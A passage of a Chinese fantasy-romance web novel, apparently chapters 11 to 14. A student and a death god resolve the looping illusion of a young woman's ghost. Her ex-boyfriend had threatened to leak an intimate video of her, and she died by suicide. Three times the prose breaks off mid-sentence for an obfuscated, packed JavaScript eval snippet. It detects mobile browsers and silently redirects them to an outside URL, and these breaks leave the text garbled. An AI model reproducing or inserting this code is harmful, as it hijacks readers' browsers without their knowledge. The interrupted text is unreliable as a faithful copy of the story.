赫罗特沉默着,扭头不说话了,他只是想再感受一下刚才的好心情,但具体要常宵雨说什么,他还没想好。 想到他莫名其妙的傻乐,和之前她说过的那句话,常宵雨试探地,迟疑地拉长声音:“谢……谢?” “不用谢。”赫罗特的嘴角不禁翘起,没错,这就是他想听到的。 他大步走向大门,打开门等她进去。 路过赫罗特时常宵雨抬头看了他一眼,眼睛神态不同以往,眼神闪亮亮的,见她看他还眨了眨眼。 就因为谢谢? 搞不明白。 再次来到天台门前,常宵雨固定锁身,掏出钥匙插入锁孔。 “咔嚓。”旋转两圈打开了门。 天台很大,夜空笼罩在上,没有光线,水泥地灰扑扑的。 她掏出手机打开手电筒,地面四处散落灰尘碎石块,只有一片靠矮墙的区域很干净,被特意清理过。 天台上的警戒线都撤了。 视线环绕一圈,她什么都没发现。 “你感应到灵魂了吗?”常宵雨回头问赫罗特。 赫罗特踢开脚边碎石,摇头。 “全都和我昨天来的时候一样。”他跳上天台边缘往下望,盘腿坐下来。 “所以,我的作用是什么?”常宵雨整理袖口,看着被灰尘蹭脏的一片。 “诱饵?再等等,你肯定能发现些我发现不了的东西。”他莫名对常宵雨的特性有种坚定的信心。 那就等等吧。 天台上空时不时路过几缕风,扰乱两人的头发,抬起头,居然还能看到天上的星星闪烁。 大学校区建在地势较高且相对偏远的地方,空气质量好,加上旧校舍楼层多,确实有看到星星的可能。 上次看到星星,还是她在孤儿院时,那时候大约五岁。 虽然很穷,但院长妈妈会尽力给她们最好的一切,供她上学。 她也如愿考上了这座大学,在雾城里最好的学校。可惜院长妈妈操劳过度,早早去世,留下了一笔足够她衣食无忧上完高中的费用。 然而世事变迁,孤儿院房屋因老旧被拆除,她再也回不去了,也再也看不到那里的星星。 随着云层变幻,星星隐没在黑夜中又,在云朵后冒出头,月亮只有小小一片。 常宵雨扭了扭僵硬的脖子,低下头。 从此之后她就在学校与打工的地方来回跑,没有空闲时间做别的,好在有助学贷款与奖学金,减轻了不少压力。 如果她只是一个普通,不用担心霉运影响他人,不需要在外面租房子,还能再过得轻松点。 等下。 常宵雨指甲掐手心,轻微疼痛保证头脑清醒。 前方天台边缘,贴着矮墙的角落有一块砖,底下压着一张雪白的纸片。 在黑夜里太过显眼,以至于一眼就意识到它的存在。 可常宵雨清楚的记得,一秒前,那里还空无一物。 “赫罗特。”常宵雨喊了一声,赫罗特转过身闪到她面前,目光疑惑。 她指了指白纸:“你看那张纸,能看到上面写的什么吗?” 赫罗特扭过上半身,在她所指的位置凝视几秒钟:“我没见到那儿有纸张。” 常宵雨:…… 那就是只有她能看到。 陷阱?还是线索? 常宵雨严肃看着赫罗特:“我过去看看,如果出了什么事,你得救我。” “当然。” 成败在此一举,她会派上用场的,只有这样,才算得上互利共赢。 她走上前,蹲下挪开砖头,看着这张雪白的纸,边缘撕扯得坑坑洼洼。 上面空无一字。 常宵雨迟疑了一下,伸手缓慢地用指尖触碰纸张中心。 眼前纸张化为无数碎片,边缘锐利,散发出白色的锐气刮起妖风,猛然包围她的身体在周边旋转。 铺天盖地的白纸,淹没她的视线。 眼前事物逐渐模糊,常宵雨回头望了一眼赫罗特,他扭曲的身形在眼里黯淡。 随着最后一丝灵魂的投入,常宵雨彻底失去意识,身体软软倒下,赫罗特一只手臂揽住她的腰,让她的身体挂在手上。 手臂碰到常宵雨温热的身体,他忍不住抱紧了些,彼此差异的体温让他感到新奇。 赫罗特早已忘记活着的感觉了。 他跨步重重踩在地上,斗篷飞起衣角画了个圆弧,地面灰尘被无形的力量顷刻扬起扫到界外。 常宵雨的身体被轻轻放在地上,平躺在清理出的位置,他伸手拎起常宵雨的手腕,彼此交叠放在一起。 赫罗特直起腰,看着她板正的睡姿,双手老老实实交叠在腹部,只有眉头微微皱起。 握紧拳头,身体顺着拳头抬起的方向汇集,化为一缕黑烟飘飘荡荡,留恋地在常宵雨胸口上盘旋,然后钻入心脏。 * 眼前白茫茫一片,她眨了眨眼,视线逐渐变得清晰。 红棕色木门正对着猫眼,目光越过鞋柜,手自发抓取鞋柜上的钥匙,碰撞发出声响。 这是一双小麦色,骨架很大,但相比起来显得手指粗短如萝卜丁的男性的手。 常宵雨想抬手仔细观察,却发现身体不听使唤。 这是谁的身体? 视线高度比她还要高一点。 没等常宵雨继续思考,身体就动起来按在门把手上,拉开了门。 隔着防盗门,她看到了一个熟悉的人。 奶白色针织长衫柔软的垂坠大腿中间,白衬衫领口挺立,他左手拿着塑料袋,右手从兜里掏出钥匙。 柳高驰。 他怎么在这里? 听见动静,男人抬眼推了推眼镜,银丝眼镜反射一丝光芒:“好久不见,你现在是大四了吧?准备实习了吗?” “柳老师。”身体打了声招呼,视线落在他手中提着的塑料袋上:“对,这个学期十一月底就结课了,老师,你刚从外面回来吗?我最近一直没碰到你。” 提起窸窸窣窣的塑料袋,男人微笑:“我辞职了,以后可能会去培训机构工作。” “那多可惜啊,初中老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542678|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师毕竟是编制内的,就算工作不多也挺稳定的。”身体的主人表现得有些遗憾,体内的常宵雨却感受到了他真实的情绪,嫉妒,愤恨,还有一丝幸灾乐祸在心头翻涌。 柳老师不说话,只是笑了笑,镜片反光遮掩了他眼底神色:“别光说我了,今天是打算出去玩?” “啧。”身体习惯性发出烦躁的声音,饱含怨气,:“还不是我女朋友,明明才大二,怀孕了就想和我结婚,我哪里能养一个孩子。” “一般来说,做好防护措施是不会怀孕的。” 常宵雨暗自点头,柳老师说的没错,能中招多半都是男的不愿意做安全措施。 身体抱怨的话语顿了一下,脑子里涌现许多想法,负面情绪冲击得常宵雨的思维混乱。 “安全措施也不是百分百的,我就是运气太差了才会遇到这种事。我也是为了她好啊!趁着月份小的时候打掉就好了,大了更伤身体。”他信誓旦旦的狡辩。 柳老师沉默,并未表态,只是询问:“你女朋友是哪个学校的?” “雾城大学。” 明明没问他其他的话,身体还是滔滔不绝打开了话匣子,拼命想在其他人身上得到认可,极力渲染自己的优越,拉踩他的女朋友:“她家里条件差,从来没上过补习班,我都不知道她怎么考上的,怕不是作弊了吧,完全不明白她用了什么手段……” “那是雾城数一数二的大学。”柳老师打断他的话:“我以前每周六给你补习,结果你的数学还是只考了六十八分,九十及格线都没达到,人家能考上是努力的结果。” 为什么人人都觉得是他的问题。 不满从心里涌出来,不就是说他偷懒,资质也没有他女朋友好吗?女人要那么好的成绩干嘛,被雾城大学录取的人应该是他才对! 常宵雨躲在一边,旁观他内心的怨恨源源不断冲击防线,理智摇摇欲坠。 身体忍了又忍,怒意最终还是冲破闸口:“说的好像你就很成功一样,那么高的学历,为了妻子蜗居在这个小地方,天天领那些死工资,结果你老婆生产去世,一尸两命,你得到了什么?我的选择才是最好的!” 他说完话,看到男人的脸,小时候对老师的畏惧还残存心底,有些胆怯,只得借助怒火摔上门,冲出走廊。 身体转头的瞬间,柳老师嘴角放平,眼睛还弯弯的,眼底却暗色沉沉,一片阴霾,他微微低头,一切情绪都消失在镜片后。 周围环境变化,身体摇摇晃晃离开小区,常宵雨回忆整理刚才发生的事情。 柳高驰是她的初中数学老师。 他的教学通俗易懂深入浅出,那时候她们班的数学平均分是整个年级最高的。 常宵雨对他的印象深刻,是因为他喜欢和学生聊他和妻子的爱情故事,没少在学校秀恩爱。 然而某一天她给语文老师搬作业,来到办公室所听见老师们闲聊,得到了他的妻子生了一个女儿,家庭幸福美满的信息。 他还给全部办公室的老师都发了糖,常宵雨也拿到了一份。 而在这里看到的,与她知道的事情背道而驰。 12. 第12章 耳边声音逐渐嘈杂,偶尔有汽车鸣笛声,进入了繁华的商业地区。 奶茶咖啡店每走十步就能看到不同品牌的,男男女女走在街上,挽着手亲密无间,还有小女生热情拉着朋友比心自拍打卡。 站在红绿灯下,眼前视野更加开阔,复杂的交通道□□叉处,各式建筑斜插而入。 而对面的红绿灯下,长发披散的女生幽魂似的飘荡,察觉到视线,抬起头来眼睛死死盯着身体主人。 就在这一瞬间,常宵雨马上明白了这个女孩就是幻境的主人。 赫罗特就站在女孩身后,冲她大幅度挥手。 其他人对他的行为视而不见。 红灯组成的静止人形闪烁,三秒后,切换为行走的绿灯小人。 这具身体没有动,站在原地,只是高高在上的看着对面的女生,双脚交叉。 女生也没有动。 眼看其他人快到了对面,她才移动脚步,缓慢地走过斑马线人行道,眼看就要红灯,到达路边还有一段距离,看得常宵雨捏了把汗。 当女孩站在面前时,身后的汽车货车才呼啸而过,带起她的长发。 她脸色苍白得可怕,看起来病恢恢的,眼球凸起布满血丝,充斥着一种让人毛骨悚然的情感,仔细观察可以发现她五官端正,看得出健康时是个漂亮的姑娘。 常宵雨听见身体开口,他的语气很冲:“你又有什么事?不能在网上说吗?” 女孩毫无反应,点了点头道:“我同意分手打胎。” 这时候身体主人反而愣了一下,紧接着心里泛起丢掉阻碍的轻松感,愉悦道:“你早这样不就好了?” 还没说完,就被打断:“但是我有一个要求。” 他的眼睛缓缓眯起来,常宵雨通过模糊的缝隙观察女孩。 “什么要求。” “你必须给我出打胎费,而且至少给够我钱补偿我的损失,打胎对女性的身体伤害有多大,你是清楚的。” 脸部嘴角拉扯,似是讥讽:“要钱?你不愿意吃避孕药,关我什么事,没想到你这么拜金,还补偿损失,别忘了当时都是你自愿的,我只是提议,而没有逼你。” “不行。”女孩抓住他的手臂,一个字一个字的吐出口:“你必须给钱。” 他冷下脸,甩开女孩的手:“郑倩然,你别给脸不要脸,我还肯出来和你见面就是看在我们曾经交往过的面子上,大街上拉拉扯扯的干什么!” 郑倩然说话没引来多少关注,他这样炮仗似的大喊大叫反而让周边的人投来目光。 她不气馁,机械地再次抬手抓住的手臂。 好奇的目光越来越多,周围人都竖起耳朵探听八卦,他觉得丢脸,只好稍微缓和语气,扯着女孩转到一条无人小巷。 “你这样在街上闹事,把我的脸往哪里放?以后不要再来找我了。” 郑倩然死死盯着他,说了两个字:“赔偿。” “别想了,我一分钱都不会给你,倒是你,该仔细想想这样下去我会不会把视频放在网上,让大家都看看你在床上的模样。” 郑倩然小声嘀咕了一句,常宵雨没听清,显然身体本人也没听清。 “你说什么?” 她低着头。 赫罗特突然出现在郑倩然身后,几乎紧贴她后背,眼神警惕,这具身体看她沉默,自以为抓到了主动权,还在对女孩大肆进行口头威胁,不知道危险已经降临。 “我不在乎了。” 她的手指甲肉眼可见的增长,越长颜色越黑,尖锐又坚硬。 她猛然抬手,放大的异化手爪猝不及防刺入常宵雨眼前,她本能闪避,却无法控制身体,眼睁睁看着长指甲抓来。 常宵雨屏住呼吸,企图从身体里逃离或是掌控身体,调动意识撞击外壳,却被无形的薄膜反弹回来。 她紧急把目光射向赫罗特,希望他能够阻止郑倩然。 透过外壳,赫罗特与常宵雨对上眼神。 收到信号,一把燃烧黑焰的镰刀手心伸长,架在郑倩然脖子上,赫罗特轻轻一用力,锋利的黑镰刀结束了她的生命。 头颅飞起。 猩红血液喷洒而出,脖颈横截面被破坏的肌理咕噜噜冒泡。 平生第一次见此景象,胃酸反上喉咙,常宵雨眼前一黑。 视线恢复光明,她重新站在红绿灯下。 马路对面的郑倩然低着头,那颗头还好好的长在脖子上。 常宵雨强忍恶心,再次尝试意念影响身体,依旧无法撼动分毫。事情发展和第一回合相同,绿灯亮起,这具身体没有任何动作。 赫罗特来到她身边,困惑地捏着镰刀。 “一般来说只要杀死怨魂,幻境就会结束,除非这不是本体。” 常宵雨知道越是着急越无法寻找到解决办法,尽量强作镇定,让自己冷静下来。 但她遇到的危险通常都是一些意外,与这样诡异的状况不同,她没有任何经验,又突然受到冲击,无措袭上心头。 赫罗特注视藏在这个躯壳内的灵魂。 常宵雨的灵魂与本人外貌相同,蜷缩一团,因为负面情绪的波动震荡,边缘形态不断变幻,看起来很是不安。 他不应该因为自己习惯了就觉得其他人也能接受这样的场景。 赫罗特突然有种想立刻为她做什么的冲动。 把镰刀扛在肩上,他咧嘴笑道:“别强求自己冷静啊,紧张慌乱也没问题。” 常宵雨听到他的话转移了注意力,看见他狂放的笑容,才发现他有颗尖尖的虎牙。 “怕什么呢,有我在,只要我制止了她你就不会出事,虽然我现在还没有恢复力量,无法撕开幻境带你出去,但我会让这一切重复到你找到解决办法为止。” 她愣住了。 “你很聪明,我想着你肯定能找到办法的,所以啊,拜托你了。”赫罗特血红双眼深邃,直直望到她心里。 这还是第一次,有人对她说,相信她的能力。 是啊,她有的是时间。 过去的经历又证明了她的能力,而她为什么突然丧失了对自己的信心呢。至少在这里,她已经不是一个人了,也不需要逼迫自己用最快的速度去学会解决一切。 只要不断不断地去寻找破绽就好了。 她的心情犹如无风湖泊,平静了下来。 这就足够了。 “来了。”赫罗特小声提醒一句,察觉有人接近,后退让出位置,使得常宵雨能够看到郑倩然。 郑倩然来到身体面前,抬起头。 固定的戏码持续上演,两人激烈拉扯起来,常宵雨眼神细细扫描女孩,心头产生了淡淡的疑惑。 此刻已经下定决心放弃孩子和这段关系,还为自己争取赔偿的郑倩然,真的愿意自杀吗? 无论怎么想,这一系列举动都是为了让她的生活重新起步。 这样的人怎么可能轻生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542679|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转念一想,拉她进入幻境的应当是郑倩然,也就是说,她需要在郑倩然本人的意愿上下手。 两人移动到小巷里,常宵雨看着眼前一幕继续思考。 如果面前的这个女孩不是本体,那么她的本体在哪里? 她抬起利爪,常宵雨连忙大喊:“赫罗特,先别杀了她!” 赫罗特拿着镰刀的动作一顿,缠绕其上的锁链,哗啦啦伸展开,缠住她的身形。 郑倩然被固定在原地,一动不动。她久久望着常宵雨,通红的眼眶里落下一滴泪。 那滴眼泪砸落在地上,染深了一块小圆形。 常宵雨的眼前又是一黑一亮。 第三次了。 她长长吐出一口气,闭眼摒弃外界思考。 想要明白郑倩然的意图,就应该设身处地的为她着想,已经死去的郑倩然,除了报仇,还有什么可能的愿望呢。 为什么回溯不是从这具身体出门时开始的,前面的事件里有什么重要的被她忽略的地方吗? 常宵雨脑海里回响起了一句男声:“她家里条件差,从来没上过补习班……” 她仿佛抓住了灵光点。 幻境的重点根本不在于她经历了什么,而在于郑倩然的意图,她对父母感到愧疚,所以希望通过给予足够的金额让她们的日子过得好。 常宵雨睁开眼,虽然不知道猜测的准确性,但没关系,试试就知道了。 作为这里的主人,郑倩然一定一直看着这一切吧。 也能听到她的声音。 “郑倩然。”常宵雨念出她的名字,语调冰冷:“你已经死了,不管再怎么重复,你都不可能改变现实中你父母的处境,那个男人没有付出任何代价,你的父母却依旧要过着贫苦的日子,还得承担失去你的痛苦,这就是你想看到的吗。” “把我们关在这里,对你没有任何益处。” 顷刻之间,天上乌云密布,遮蔽了阳光。 赫罗特站在她旁边,看着马路对面的郑倩然如泡沫消失在空气中,大街水洗过般变得清澈透明。 乌云堆积,乌压压地按下来,雨滴淅淅沥沥的撒下,就像她的泪。 水洼倒映高楼大厦上的红光。 常宵雨皮肤一阵凉意,低头看到自己的衣服,才确定她现在用回了自己的壳子。 她跺跺脚,身体可以正常行动,赫罗特一拽斗篷,罩在两人头顶。 雨点噼里啪啦的砸在斗篷上。 “你不希望父母安心,不希望那个男人付出代价吗?” 整个空间里贯穿着呜呜的呜咽声。 “如果你父母知道了,也不会希望你呆在这里无法投胎,无数次重复这样的痛苦。”常宵雨柔声道。 她知道消化她的话需要时间,耐心等待。 直到一个细细的声音响起。 “可是我不知道该怎么办,我也不知道我怎么了,那一天,本来是想出去旅游散心两天才请的假,门票酒店都买好了,结果回过神来却站在了天台上。” “然后一门心思的想逃离世界,等我反应过来就已经死了。” 她哽咽着继续说:“我不知道会这样,我不知道自杀不能投胎,可我还想有下辈子,再见见我的父母,即使那个时候我们已经互相不认识彼此了。” “如果只是投胎。”常宵雨扯过赫罗特,指着他的装扮:“这家伙是死神,他知道怎么送你去投胎。” “把我们放出去吧。” 13. 第13章 出现在天台上的郑倩然是一名长相能够激起他人保护欲的女孩,她怯生生的抬头看了常宵雨,又看了眼赫罗特,连忙低下头。 “对不起,我不应该把你们牵扯进来。” 她神志清明的道歉,眼神清澈,与幻境里的状态截然相反。 “那个,请问我现在,还能再去见见我父母吗?”郑倩然忐忑。 常宵雨扭头看向赫罗特,只有他知道答案。 他摇了摇头:“能投胎就不错了,你现在是类似地缚灵的状态,即使是我也没办法把你带离这里。” 很遗憾。 郑倩然盯着自己的脚尖,飘在地面上空一厘米处。 她想开口请求帮助,却说不出口。 她想要那个男人付出代价,想要自己的父母过得好,想要再见一面,但这不是面前两人的义务。 常宵雨沉默了一会儿,她没有父母,所以很难理解郑倩然的心情,但以她最熟悉的施乃心为参考,她绝对是希望能捎一句话给父母的。 这就是她能力范围内,能尽量做到的事情了。 “我们可以帮你带一句话给父母。” 我们?赫罗特看着常宵雨,他可没答应。 面上却点了点头。 见到那位发色瞳色明显不是人类的死神表态,她稍微放下了一点心。 “就说,是我对不起她们,让她们往后的日子里注意健康吧,而我已经开始新人生了。”郑倩然直视常宵雨,破涕为笑。 她抬起头最后看了眼夜空。 这么多的星星,作为郑倩然,以后再也看不到了。 “你不问你的前男友吗?不想报复他吗?” “我想,但这是不可能的。”郑倩然清楚,她是自杀,事情曝光后那个男人顶多被骂几句有道德问题,什么代价都无须付出。 “好吧。”常宵雨叹气:“告诉我你父母的名字,住在哪里,还有你那个人渣前男友的信息。” 在郑倩然的口述下,她先用手机备忘录记下所有信息,把手机塞进包里,待日后再看。 “那么,你该走了。” 赫罗特上前一步,举起镰刀。 郑倩然抬头暴露出脆弱的脖颈,引颈受戮。 镰刀黑焰大胜,模糊了常宵雨的视线,他双臂侧边抬起,镰刀割草般割下。 郑倩然的灵魂化为点点萤火,尽数飘向赫罗特,钻入他的身体,只剩下一点小小的白色光点漂浮在原地。 光点亲昵地蹭了蹭常宵雨指尖,然后飘开在前方上下晃荡,像是在评估什么。 “这就是真灵?”常宵雨看着白点,这是郑倩然曾经存在在世界上的证明。 “对。”赫罗特点头,打了个响指用黑焰收走她背后的书包,然后一手抓住常宵雨的手臂,手指紧紧箍着,视线随着白点飘动。 白色光点晃悠了会儿,开始往外移动。 “别不高兴了,投胎是好事,这可是走向新世界的道路啊。”他回头咧嘴一笑:“没看过真灵投胎吧?现在让你看看!” “走!” 白点往天台外飘去,赫罗特拽起常宵雨一跃而起,跃出天台范围。 单手被拎着,身子悬在半空,他手腕扯向前,将常宵雨甩到前方。 赫罗特顺势把常宵雨按进怀里,事发突然,她惊恐地闭眼抓紧赫罗特胸口斗篷,抓得皱巴巴的。 狂风扯得斗篷呼啦大响,她感到自己的头发被风吹乱,在脸上狂乱飞舞。 “睁开眼,现在很安全。”赫罗特的声音贴着她耳朵响起,青年男性的声音让她的后脊发麻。 常宵雨鼓起勇气,睁开眼。 星星更闪亮了,近得仿佛伸手就能碰到,远处的云层几乎与她持平。 但占据她视线的,是赫罗特锋利的下颌线,和他充满兴奋的血红双眼。 她愣了一下,别开目光稍微把赫罗特的胸膛推远两厘米,留出空间扭头往下看。 两人处在正高空中。 树林与旧校舍被抛在脚下,远处灯火通明的教学楼和宿舍楼也都被踩在脚下。 什么语言能够描述这样的震撼呢。 她渐渐放松紧绷的身体,拽紧的手也松开了。 看到这样的景象,任何人都会觉得自己那狭小的世界被扩大了,个人的喜怒哀乐渺小得快要看不见,尽管常宵雨知道它们就在那里。 赫罗特一直见到的,就是这样宽阔的世界吗? 白色犹如星星的光点直线往外飞了一段距离,飞出了校园区域,然后便直直往下坠。 赫罗特的笑容扩大。 跟随那下落的流星,手臂箍紧常宵雨的腰,两人身体追着真灵下坠而去。 常宵雨心跳得快蹦出来,险些喘不过气,尖叫卡在喉咙里,眼里白色光点留下一道残影。 赫罗特的兜帽被吹得乱摇摆,隐藏在斗篷下的银色小辫子飞舞出来,在风中摆动。 “你知道吗,当死神最爽就是这种时候啊!”他微微低头,专注的注视常宵雨。 “我的力量刚才恢复了很多,我想让你知道,这是我最喜欢的事情。” “怎么样?极速飞行的时候,一切都能抛在脑后的感觉?” 常宵雨望进他的眼里,在他的眼睛里看到了自己,莫名恍惚。 她永远循规蹈矩,就是怕行差踏错,因为她担不起风险。 可是现在,闯入旧校舍,然后飞在天空中,又像过山车一样坠落,却很安全。 赫罗特手臂带给她的压迫感,正是她安全的保障。 “……嗯。” 赫罗特抱紧常宵雨,笑开了。 “我们快到地面了。” “夏国和我们那边不一样,好像去除冗余能量,就能毫无阻碍的进入地府,你们这边的冥界是这么叫的吧。” 赫罗特用眼神示意她看地面。 常宵雨扭头去看,就看到真灵晃晃悠悠,拟人的犹豫着,拿不准地点。 不过只有一会儿,它很快认定了位置,飞速远走,一头扎进地下。 赫罗特松开手臂,双手牵着常宵雨的手,带着她靠近地面漂浮,然后轻轻落地。 虫鸣透出草丛,活水潺潺流动,湖面平静,一片片亮面映出高楼灯光。 常宵雨环顾四周,然后蹲在真灵消失的位置,指尖戳了戳地面。 赫罗特站在身后弯下腰:“看来这里是距离地府最近的地方。” 她伸出的手指慢慢勾回,藏在手心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542680|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“她真的去投胎了吗?” “是吧。”赫罗特绕着她走了一圈,好像知道她在想什么:“她会幸福的。” “……那就好。” 希望她下辈子不会再遇到无可奈何的事。 常宵雨吐气,隐隐听到了音乐声,带她回到现实,她拍拍手站起来,又恢复了原先冷静,难以动摇的模样。 赫罗特的注意力转移得很快,他的视线投向远方:“你们这边的公园大晚上还放歌?” “是广场舞,有些阿姨们为了锻炼身体外加娱乐,喜欢在公园里用音响放音乐,然后集体跳舞。” “好高雅的爱好。”赫罗特代入他仅剩不多的记忆:“我还活着的那时候,只有贵族才会在宴会上跳舞,原来现在平民们也能享受这种娱乐了啊。” 误会太深,常宵雨解释一番,反而勾起了他的兴趣。 “我们去看看?音乐也挺好听的。” 常宵雨只好一把抓住他:“没什么好看的,而且今天已经很出格了,就不要暴露过多了吧。” 她将自己暴露在旧校舍监控下,承担了一定风险,仗着几年过去学校都不一定会查监控才愿意搏一搏,不想再节外生枝了。 听了她的话,赫罗特恍然大悟。 “我以后会记得提醒你的。”常宵雨深刻理解了赫罗特脑子不聪明的事实。 他看了乐声源头好一会儿,回过头,大步走到常宵雨面前,伸出一只手。 常宵雨看了看他向上的手掌心,修长的手指洁白如玉,不明白他的意思。 “要不要跳舞?只有我们两个人,别人又看不到。”赫罗特笑道。 有些莫名其妙的。 她一不会跳舞,二不喜欢广场舞音乐,自然不会同意。 “好吧。”赫罗特深表遗憾:“我记得在小时候,跳舞会使我拥有能掌控身体的感觉,心情就会变得很好,还以为这对你也有用呢。” 原来他的提议是为了她的心情着想。 “……谢谢。” 常宵雨愣了愣,微笑着轻轻道。 这次是真心的笑,就像赫罗特在校门口看到的第一个笑容一样。 赫罗特的眼睛一眨不眨的看着常宵雨,直到由于时间太晚,湖边装饰用的灯自动熄灭。 灯光暗下,打断了他入迷的状态,常宵雨毫无察觉,下意识看了眼手机。 居然已经晚上十点了,在旧校舍消耗的时间比想象中多得多。 这个时间,已经没有公交末班车了。 “事情解决了,也该回去了。” 说完这句话,常宵雨才想起来,她不知道公园距离家里有多远,再次点亮手机,打开定位查看地图导航。 赫罗特上前一步逼近,低头看着导航软件:“怎么了,这是什么?” “地图。” 常宵雨刷了刷屏幕,路线清晰显示打车回家,至少也需要两个小时。 她抬头看了看赫罗特。 “怎么办?打车费太贵了,付不起。”她晃了晃手机,难得调皮:“麻烦你又带我飞回去了?” “不麻烦,交给我吧。” 赫罗特见她心情好了起来,便高兴的抛起她,纵跃接住,朝着导航方向飞去。 14. 第14章 回到家,赫罗特就立刻丢出书包倒在床上。 常宵雨反锁好门,把书包提起规整放在旁边架子上,这才看向赫罗特。 他在床上歇了一会儿,往床中心蹭了蹭,身体缩水为小乌鸦。 常宵雨在床边停下,看着他紧闭的双眼,明白他今天飞来飞去的是累了。 挪动他到床头盖上被子,常宵雨进入浴室洗漱,然后上床睡觉。 一个晚上过去,窗外光线照醒了她,她扭头看着枕头边的赫罗特,他毛绒绒的胸脯起伏,眼睛安静合着。 还没醒,但她是时候出发了。 常宵雨轻轻掀开被子,慢动作地从床尾溜下床,套上拖鞋,轻手轻脚的进了洗手间。 匀速缓慢的拉上门,减少滑轮发出的噪音。 她放开些动作,加快速度接水挤牙膏,举起牙刷对着镜子刷牙。 镜子里的人一口泡沫,举起水杯漱口吐出浊水,常宵雨来回刷了几遍,把牙刷杯子清理干净,放在洗手台上。 常宵雨凝视着自己。 披散的头发发尾乱翘,眉间凹陷减轻,比起之前拼命的自己,看起来放轻松了些。 这都是因为赫罗特。 昨夜发生的一切在她的记忆里,就像一场梦。 奇幻美好得不甚清晰。 困扰她许久的厄运得到了短暂的缓解,她暂时不用担心危机升级,也无需烦恼发生在她身上的意外牵连他人。 松开手后退一步,心口处的黑气烟雾般慢速四散,比昨天早晨浓郁太多,不知又在哪里沾染上了。 不过这种倒霉程度,她完全可以接受。 常宵雨低头泼了一脸水,毛巾按压在脸上慢慢擦干。 再次小心的走出浴室,拎起放在门口的包,她回头看了床一眼。 赫罗特躺在枕头上,呼呼大睡。 看来这次他要晚点才醒了。 常宵雨收回目光,按下门把手退出房间。 飞奔下楼梯跑出楼房出口,她朝着附近的公交车站前进。 雾城天空常年灰蒙蒙的,今天天气意外不错,碧空如洗,晴空万里。 想起记载在手机里的信息,常宵雨决定有空的时候再去想办法送到郑倩然父母的手上。 至于他们会怎么做,以后再也和她无关。尽管还有点在意郑倩然的遭遇,但她也尽力了。 常宵雨收敛心神,继续赶路,眼见公交车站近在眼前,就这一会儿走神的功夫,意外发生了。 刺啦。 明黄色电动车险险擦过身体,车轮侧面在地上空转出火星子,冲击力把常宵雨带倒在地,她连滚几圈,右小腿火辣辣一片。 熟悉的痛感,记不清经历了多少次,常宵雨如今都可以凭借痛感类型与强烈程度判断伤势了。 趴在地上回过头,那外卖员早就骑走车跑得的影子都不见,她叹了口气,从地上爬起来,分别抬手撸起袖子检查手肘。 肘关节皮肤留下白痕,没有破损。 她弯腰撩开裤腿,在加绒裤下斜着一条长约七厘米的伤口,表皮翻起,渗出了血液,好在不深。 这么长的伤口,包里的创可贴没有用,无法处理,只好暂且放着不管。 放下裤腿,常宵雨试探着走了几步,疼得抽了口气,只是,秉持长痛不如短痛的原则,她加快脚步赶在公交车离开前到达车站。 她在车门最近位置坐下,终于有了片刻休息时间。 黑气重新聚集的速度比她想象的快得多,照这样的速度,晚上回家必须让赫罗特再帮她引导出黑气,平均每隔一天就要重复一次。 看着窗外,她暗自思索,也不知道赫罗特今天能不能醒。 * 在学校粗略处理伤口,结束课程,常宵雨感觉小命去了一半,强撑着回家。 受伤的小腿爬楼梯时很痛,常宵雨费力回到出租屋门前,掏出钥匙打开门。 刚打开一条缝隙,门就从里面踢开了,赫罗特双手交叉在胸前,斜斜倚靠在门框上。 他怨气十足,兴师问罪道:“出门怎么不叫上我?” 常宵雨没力气搭理他,解下书包往架子上一丢,从他的身侧插缝进门,扶着墙壁脱鞋。 赫罗特顺手关上门,转身继续正对常宵雨,还没说话,鼻子动了动,嗅闻到一股血腥味。 他猛然上前,一手拍在墙上,看着位于臂弯范围常宵雨的头顶。 “你受伤了?” 常宵雨抬眼看他,见他把头凑上来到处闻,还有往下移动的趋势,距离太近,立刻伸手推开他。 “你是狗鼻子吗?” “我比狗厉害多了。”赫罗特不悦的说,死神和狗怎么能比。 居然在这种地方攀比起来了。 常宵雨无奈地掀起裤脚,露出在医务室处理过的小腿,纱布包围了三层:“已经结痂了,很快就能好。” 正因如此,他对血液的敏锐才让人吃惊。 赫罗特蹲下来,手掌虎口摩挲下巴,盯着包裹纱布的位置。 久久没说话。 他蹲在身前,挤占了门口,常宵雨只有靠墙的一块角落能站立。 她低头看着赫罗特。 彼此认识不久,常宵雨见过他大笑的样子,尝到黑暗料理后呕吐的样子,嘴馋的样子,总是好动的。 可从未见过他安静的时候,就算不说话,眼睛也透露着不安分,这会儿蹲在脚边,低眉的模样看着竟然如此温和顺从。 他在关心自己。 